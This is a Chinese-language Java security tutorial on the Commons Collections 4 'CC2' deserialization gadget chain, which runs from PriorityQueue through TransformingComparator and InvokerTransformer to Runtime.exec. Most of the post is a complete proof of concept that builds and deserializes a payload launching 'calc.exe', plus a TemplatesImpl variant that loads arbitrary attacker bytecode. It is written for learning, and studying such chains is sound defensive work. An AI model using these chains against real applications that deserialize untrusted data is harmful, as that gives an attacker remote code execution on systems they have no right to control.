Java安全之CC2

2022-11-14 15:00:47

前言

由於在2015年底commons-collections反序列化利⽤鏈被提出時,Apache Commons Collections有以下兩個分⽀版本:

  • commons-collections:commons-collections

  • org.apache.commons:commons-collections4

可⻅,groupId和artifactId都變了。前者是Commons Collections⽼的版本包,當時版本號是3.2.1;後 者是官⽅在2013年推出的4版本,當時版本號是4.0。

官⽅認為舊的commons-collections有⼀些架構和API設計上的問題,但修復這些問題,會產⽣⼤量不能 向前相容的改動。所以,commons-collections4不再認為是⼀個⽤來替換commons-collections的新版 本,⽽是⼀個新的包,兩者的名稱空間不衝突,因此可以共存在同⼀個項⽬中。 那麼很⾃然有個問題,既然3.2.1中存在反序列化利⽤鏈,那麼4.0版本是否存在呢?

commons-collections4的改動

因為這⼆者可以共存,所以我可以將兩個包安裝到同⼀個項⽬中進⾏⽐較:

<dependencies>
 <!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
 	<dependency>
 		<groupId>commons-collections</groupId>
 		<artifactId>commons-collections</artifactId>
 		<version>3.2.1</version>
 	</dependency>
 <!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
 	<dependency>
 		<groupId>org.apache.commons</groupId>
 		<artifactId>commons-collections4</artifactId>
 		<version>4.0</version>
 </dependency>
</dependencies

因為⽼的Gadget中依賴的包名都是org.apache.commons.collections ,⽽新的包名已經變 了,是org.apache.commons.collections4 。 我們⽤已經熟悉的CC6利⽤鏈做個例⼦,我們直接把程式碼拷⻉⼀遍,然後將所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此時IDE爆出了⼀個錯誤,原因是LazyMap.decorate這個⽅法沒了:

看下decorate的定義,⾮常簡單:

public static Map decorate(Map map, Transformer factory) {
 	return new LazyMap(map, factory);
}

這個⽅法不過就是LazyMap建構函式的⼀個包裝,⽽在4中其實只是改了個名字叫lazyMap

public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
  return new LazyMap<K,V>(map, factory);
}

所以,我們將Gadget中出錯的程式碼換⼀下名字:

Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

同理,之前的CC1,CC3利用鏈都可以在commonscollections4中正常使用

commons-collections之所以有許多利⽤鏈,除了因為其使⽤量⼤,技術上的原因是其 中包含了⼀些可以執⾏任意⽅法的Transformer。所以在commons-collections中找Gadget的過 程,實際上可以簡化為,找⼀條從 Serializable#readObject()⽅法到 Transformer#transform()⽅法的調⽤鏈。

CC2

其中兩個關鍵類:

  • java.util.PriorityQueue -
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue是⼀個有⾃⼰readObject()⽅法的類:

org.apache.commons.collections4.comparators.TransformingComparator 中有調 ⽤transform()⽅法的函數:

public int compare(final I obj1, final I obj2) {
 	final O value1 = this.transformer.transform(obj1);
	final O value2 = this.transformer.transform(obj2);
 	return this.decorated.compare(value1, value2);
}

所以CC2實際就是⼀條從 PriorityQueueTransformingComparator的利⽤鏈

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
			PriorityQueue.heapify()
			PriorityQueue.siftDown()
			PriorityQueue.siftDownUsingComparator()
			
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

關於 PriorityQueue 這個資料結構的具體原理,可以參考這篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html

開始編寫POC,⾸先,還是建立Transformer:

Transformer[] fakeTransformers = new Transformer[] {
   				 new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
                )};
        Transformer chain = new ChainedTransformer(transformers);

再建立⼀個TransformingComparator,傳⼊我們的Transformer

Comparator comparator = new TransformingComparator(chain)

範例化PriorityQueue物件,第⼀個引數是初始化時的⼤⼩,⾄少需要2個元素才會觸發排序和⽐較, 所以是2;第⼆個引數是⽐較時的Comparator,傳⼊前⾯範例化的comparator

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

後⾯隨便新增了2個數位進去,這⾥可以傳⼊⾮null的任意物件,因為我們的Transformer是忽略傳⼊引數的。 最後,將真正的惡意Transformer設定上,

setFieldValue(transformerChain, "iTransformers", transformers)

完整poc如下

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

        public static void main(String[] args) throws Exception{
            Transformer[] fakeTransformers = new Transformer[]{
                    new ConstantTransformer(1)};
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"calc.exe"}
                    )};

            Transformer chain = new ChainedTransformer(fakeTransformers);
            Comparator comparator = new TransformingComparator(chain);

            PriorityQueue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(2);

            setFieldValue(chain, "iTransformers", transformers);

            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
            System.out.println(barr);

            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object) ois.readObject();


        }
    }

CC2改進

前邊說過了利⽤TemplatesImpl可以構造出⽆Transformer陣列的利⽤鏈,可以將CC2這條鏈也進行改造。

public class CommonsCollections2TemplatesImpl {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}